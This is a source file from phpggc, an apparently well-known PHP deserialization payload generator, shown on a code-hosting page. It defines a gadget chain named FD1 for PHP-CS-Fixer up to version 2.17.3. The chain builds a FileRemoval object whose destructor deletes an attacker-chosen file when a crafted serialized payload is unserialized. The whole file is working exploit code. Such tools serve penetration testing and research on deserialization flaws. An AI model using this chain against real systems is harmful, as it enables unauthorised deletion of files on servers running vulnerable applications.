Codebase list phpggc / 9a88393 gadgetchains / PHPCSFixer / FD / 1 / chain.php
9a88393

Tree @9a88393 (Download .tar.gz)

chain.php @9a88393raw · history · blame

<?php
namespace GadgetChain\PHPCSFixer;

class FD1 extends \PHPGGC\GadgetChain\FileDelete
{
    public static $version = '<= 2.17.3';
    public static $vector = '__destruct';
    public static $author = 'snoopysecurity';

    public function generate(array $parameters)
    {
        $remote_file = $parameters["remote_file"];

        return new \PhpCsFixer\FileRemoval($remote_file);
    }
}